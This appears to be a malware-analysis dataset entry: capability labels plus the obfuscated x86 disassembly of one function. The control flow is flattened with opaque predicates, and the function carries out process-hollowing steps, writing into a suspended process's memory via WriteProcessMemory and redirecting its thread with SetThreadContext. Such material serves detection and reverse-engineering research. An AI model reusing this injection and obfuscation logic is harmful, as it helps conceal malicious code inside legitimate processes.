Function at 0x10008bf0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
mov eax, dword [0x10072600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x13a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x139], al
mov dword [ebp - 0x140], 0x91fa8140
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
sub eax, 0x80af2294
je 0x1000e65b
jmp 0x10008c63
mov eax, dword [ebp - 0x144]
sub eax, 0x80c6c082
je 0x1000d793
jmp 0x10008c79
mov eax, dword [ebp - 0x144]
sub eax, 0x816a83c1
je 0x100161bf
jmp 0x10008c8f
mov eax, dword [ebp - 0x144]
sub eax, 0x818b5890
je 0x10011765
jmp 0x10008ca5
mov eax, dword [ebp - 0x144]
sub eax, 0x81aeae75
je 0x1000f60a
jmp 0x10008cbb
mov eax, dword [ebp - 0x144]
sub eax, 0x8286892f
je 0x1000e79a
jmp 0x10008cd1
mov eax, dword [ebp - 0x144]
sub eax, 0x8298dff0
je 0x1000fc26
jmp 0x10008ce7
mov eax, dword [ebp - 0x144]
sub eax, 0x82a1ab35
je 0x10013d64
jmp 0x10008cfd
mov eax, dword [ebp - 0x144]
sub eax, 0x82c0f4d9
je 0x10015f61
jmp 0x10008d13
mov eax, dword [ebp - 0x144]
sub eax, 0x82ce1b62
je 0x100127e2
jmp 0x10008d29
mov eax, dword [ebp - 0x144]
sub eax, 0x834d27d3
je 0x10011400
jmp 0x10008d3f
mov eax, dword [ebp - 0x144]
sub eax, 0x83c90762
je 0x10013818
jmp 0x10008d55
mov eax, dword [ebp - 0x144]
sub eax, 0x84100c7c
je 0x10010a64
jmp 0x10008d6b
mov eax, dword [ebp - 0x144]
sub eax, 0x84d63045
je 0x10014fa7
jmp 0x10008d81
mov eax, dword [ebp - 0x144]
sub eax, 0x8593d512
je 0x1000d0c7
jmp 0x10008d97
mov eax, dword [ebp - 0x144]
sub eax, 0x85d6b68a
je 0x10011b6c
jmp 0x10008dad
mov eax, dword [ebp - 0x144]
sub eax, 0x85f55fb2
je 0x10015291
jmp 0x10008dc3
mov eax, dword [ebp - 0x144]
sub eax, 0x8617cb2a
je 0x100167d1
jmp 0x10008dd9
mov eax, dword [ebp - 0x144]
sub eax, 0x86711938
je 0x1000fe36
jmp 0x10008def
mov eax, dword [ebp - 0x144]
sub eax, 0x868808ed
je 0x1001262b
jmp 0x10008e05
mov eax, dword [ebp - 0x144]
sub eax, 0x86f8a246
je 0x10015ba8
jmp 0x10008e1b
mov eax, dword [ebp - 0x144]
sub eax, 0x883b97e5
je 0x100162c1
jmp 0x10008e31
mov eax, dword [ebp - 0x144]
sub eax, 0x885e515a
je 0x10010fd1
jmp 0x10008e47
mov eax, dword [ebp - 0x144]
sub eax, 0x88aceadd
je 0x10015a85
jmp 0x10008e5d
mov eax, dword [ebp - 0x144]
sub eax, 0x88c24417
je 0x10015ca6
jmp 0x10008e73
mov eax, dword [ebp - 0x144]
sub eax, 0x8937c6f5
je 0x10014b76
jmp 0x10008e89
mov eax, dword [ebp - 0x144]
sub eax, 0x89a0e91b
je 0x10014246
jmp 0x10008e9f
mov eax, dword [ebp - 0x144]
sub eax, 0x89b9bd79
je 0x10011291
jmp 0x10008eb5
mov eax, dword [ebp - 0x144]
sub eax, 0x8a815525
je 0x100161e3
jmp 0x10008ecb
mov eax, dword [ebp - 0x144]
sub eax, 0x8abb3259
je 0x10011505
jmp 0x10008ee1
mov eax, dword [ebp - 0x144]
sub eax, 0x8ac8558b
je 0x1000dc0d
jmp 0x10008ef7
mov eax, dword [ebp - 0x144]
sub eax, 0x8af35be5
je 0x10011b89
jmp 0x10008f0d
mov eax, dword [ebp - 0x144]
sub eax, 0x8b881517
je 0x1000d671
jmp 0x10008f23
mov eax, dword [ebp - 0x144]
sub eax, 0x8bbc078b
je 0x1000e96c
jmp 0x10008f39
mov eax, dword [ebp - 0x144]
sub eax, 0x8bcc2597
je 0x100104c4
jmp 0x10008f4f
mov eax, dword [ebp - 0x144]
sub eax, 0x8cae5026
je 0x10015e3e
jmp 0x10008f65
mov eax, dword [ebp - 0x144]
sub eax, 0x8d381b20
je 0x1000dc6d
jmp 0x10008f7b
mov eax, dword [ebp - 0x144]
sub eax, 0x8d880463
je 0x10011c7b
jmp 0x10008f91
mov eax, dword [ebp - 0x144]
sub eax, 0x8d88901e
je 0x1000df29
jmp 0x10008fa7
mov eax, dword [ebp - 0x144]
sub eax, 0x8dc090e9
je 0x1000ffd4
jmp 0x10008fbd
mov eax, dword [ebp - 0x144]
sub eax, 0x8dec59a7
je 0x1000f865
jmp 0x10008fd3
mov eax, dword [ebp - 0x144]
sub eax, 0x8e580993
je 0x1000ceae
jmp 0x10008fe9
mov eax, dword [ebp - 0x144]
sub eax, 0x8fe48709
je 0x10016396
jmp 0x10008fff
mov eax, dword [ebp - 0x144]
sub eax, 0x90577144
je 0x1000d708
jmp 0x10009015
mov eax, dword [ebp - 0x144]
sub eax, 0x905abc37
je 0x1001489b
jmp 0x1000902b
mov eax, dword [ebp - 0x144]
sub eax, 0x906e80ca
je 0x1000eb21
jmp 0x10009041
mov eax, dword [ebp - 0x144]
sub eax, 0x90836ccf
je 0x10012d2f
jmp 0x10009057
mov eax, dword [ebp - 0x144]
sub eax, 0x90bdae17
je 0x10011cc8
jmp 0x1000906d
mov eax, dword [ebp - 0x144]
sub eax, 0x90ece3ec
je 0x100150d9
jmp 0x10009083
mov eax, dword [ebp - 0x144]
sub eax, 0x91fa8140
je 0x1000cb50
jmp 0x10009099
mov eax, dword [ebp - 0x144]
sub eax, 0x92bca71a
je 0x10011697
jmp 0x100090af
mov eax, dword [ebp - 0x144]
sub eax, 0x92e05ebb
je 0x1000f678
jmp 0x100090c5
mov eax, dword [ebp - 0x144]
sub eax, 0x9319ba36
je 0x10013efa
jmp 0x100090db
mov eax, dword [ebp - 0x144]
sub eax, 0x94246b00
je 0x1001672c
jmp 0x100090f1
mov eax, dword [ebp - 0x144]
sub eax, 0x94306cd8
je 0x10016606
jmp 0x10009107
mov eax, dword [ebp - 0x144]
sub eax, 0x943e2d89
je 0x100133e0
jmp 0x1000911d
mov eax, dword [ebp - 0x144]
sub eax, 0x946c7e3c
je 0x10012119
jmp 0x10009133
mov eax, dword [ebp - 0x144]
sub eax, 0x94e30719
je 0x100160db
jmp 0x10009149
mov eax, dword [ebp - 0x144]
sub eax, 0x954896f6
je 0x10013662
jmp 0x1000915f
mov eax, dword [ebp - 0x144]
sub eax, 0x955cafaa
je 0x1000dadc
jmp 0x10009175
mov eax, dword [ebp - 0x144]
sub eax, 0x9622579b
je 0x1000cd7a
jmp 0x1000918b
mov eax, dword [ebp - 0x144]
sub eax, 0x963dba81
je 0x10011022
jmp 0x100091a1
mov eax, dword [ebp - 0x144]
sub eax, 0x9640cb28
je 0x10013713
jmp 0x100091b7
mov eax, dword [ebp - 0x144]
sub eax, 0x9642a2ec
je 0x1000d1e1
jmp 0x100091cd
mov eax, dword [ebp - 0x144]
sub eax, 0x96834d53
je 0x1000e506
mov al, byte [ebp - 0x13a]
mov cl, byte [ebp - 0x139]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x21b59735
mov ecx, 0x607cdb48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
mov edx, ecx
add edx, 0x29764ac3
sub edx, 1
sub edx, 0x29764ac3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x88c24417
mov ecx, 0x575a1b4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0xf4c4f3fc
sub edx, 1
sub edx, 0xf4c4f3fc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d1dd6f7
mov ecx, 0x5b7349c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x8d922cb
sub edx, 1
sub edx, 0x8d922cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32671f84
mov ecx, 0xafea9cfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ca12d50
mov ecx, 0xdb557a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x100237ac]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xcae071a0
jmp 0x10016aa4
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd17b458
mov ecx, 0x26324b8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6946b664
mov ecx, 0x7625a8cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x50f7ad0f
sub edx, 1
sub edx, 0x50f7ad0f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x45c7588
mov ecx, 0x72d217fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x65eaf90b
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0xb69574bd
sub edx, 1
sub edx, 0xb69574bd
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8cae5026
mov ecx, 0x654468df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dl, 1
mov eax, 0x67b4495c
mov ecx, 0xb9c6c3f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59ddb169
mov ecx, 0xc746cf2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
sub edx, 0x5b2bc1d7
sub edx, 1
add edx, 0x5b2bc1d7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44de8263
mov ecx, 0x331ecd8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x1f11e515
jmp 0x10016aa4
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
mov edx, ecx
add edx, 0x13e8562a
sub edx, 1
sub edx, 0x13e8562a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe1e144b8
mov ecx, 0x5de2f3ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x50ad5770
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x13cff4f3
sub edx, 1
sub edx, 0x13cff4f3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4662f96e
mov ecx, 0xf3678b82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dl, 1
mov eax, 0x5d104700
mov ecx, 0xbaff2569
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x7b7a1a2b
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5842ea8b
mov ecx, 0xcdded01c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1002345c]
movss dword [eax], xmm0
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49d04601
mov ecx, 0xb5ae0335
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023668]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x9aabb247
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4a8194e
mov ecx, 0xed880bfb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x5d08e3a0
sub edx, 1
sub edx, 0x5d08e3a0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b1f68b6
mov ecx, 0x963dba81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
sub edx, 0xf55bbccb
sub edx, 1
add edx, 0xf55bbccb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b1f68b6
mov ecx, 0x9d742ec6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100235e8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100235e4]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x5237f749
jmp 0x10016aa4
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023440]
movss dword [eax], xmm0
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
mov edx, ecx
add edx, 0x3738e3b2
sub edx, 1
sub edx, 0x3738e3b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x56493ff
mov ecx, 0x98a9a684
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1002343c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023438]
movss dword [eax], xmm0
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e843970
mov ecx, 0xf2dce854
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xdeb9c851
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xadd6c3e6
jmp 0x10016aa4
mov dl, 1
mov eax, 0xd6ac69ff
mov ecx, 0x8af35be5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100235d0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100235cc]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xc3c64ab7
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xd6ac69ff
jmp 0x10016aa4
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100235c4]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x14c95438
jmp 0x10016aa4
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100235b0]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x9f6008f
jmp 0x10016aa4
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10023594]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xa4f516fd
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xfbcfcdf4
jmp 0x10016aa4
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
mov edx, ecx
add edx, 0x9b0f36fb
sub edx, 1
sub edx, 0x9b0f36fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x57ca29da
mov ecx, 0x42e917dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
mov edx, ecx
sub edx, 0xcc8e0e
sub edx, 1
add edx, 0xcc8e0e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc20f9da1
mov ecx, 0xe5fb1385
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x4c50e3f6
sub edx, 1
sub edx, 0x4c50e3f6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f1b4a7f
mov ecx, 0x721a9c97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
sub edx, 0x77605617
sub edx, 1
add edx, 0x77605617
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xca41ee15
mov ecx, 0x76d6afb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023530]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1002352c]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x9e2a51c3
jmp 0x10016aa4
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100233c0]
movss dword [eax], xmm0
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x719d7621
sub edx, 1
sub edx, 0x719d7621
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x317c797c
mov ecx, 0xbff1258f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dl, 1
mov eax, 0xa95fad7b
mov ecx, 0xa9eaa50c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0xdc662913
sub edx, 1
sub edx, 0xdc662913
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb95bd349
mov ecx, 0x7e494599
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov edx, dword [ebp - 0x8c]
mov eax, 0xe7d4e5ea
mov ecx, 0x2ca6a2e
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov dword [eax], 0
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov dword [eax], 0
mov dword [ebp - 0x140], 0x9fd6b468
jmp 0x10016aa4
mov eax, dword [0x10073928]
mov ecx, dword [0x10073924]
mov edx, eax
add edx, 0x78daf7fc
sub edx, 1
sub edx, 0x78daf7fc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x23502aa5
mov ecx, 0xb2ed825c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov ecx, dword [0x10073928]
mov eax, dword [0x10073924]
mov edx, ecx
add edx, 0xde414d35
sub edx, 1
sub edx, 0xde414d35
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5ebb52bd
mov ecx, 0x17eee58e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov dl, byte [ebp - 0x3a]
mov eax, 0x88aceadd
mov ecx, 0x813a30c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10016aa4
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
sub ecx, 0x2a412a4b
add ecx, 8
add ecx, 0x2a412a4b
mov eax, dword [ebp - 0xe8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe8]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x140], 0x3d007943
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x5bebb71c
jmp 0x10016aa4
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x100234dc]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x575a1b4e
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x8d381b20
jmp 0x10016aa4
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10023494]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x9be3485d
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x6bd05a31
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xdc7523de
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xca426bf6
jmp 0x10016aa4
mov dword [ebp - 0x140], 0x5e51e6a1
jmp 0x10016aa4
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023428]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023424]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x769cdcc9
jmp 0x10016aa4
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100233e0]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x3122937e
jmp 0x10016aa4
mov dword [ebp - 0x140], 0xa034e033
jmp 0x10016aa4
mov eax, dword [ebp - 0xf8]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x140], 0xd8dd2291
jmp 0x10016aa4
jmp 0x10008c47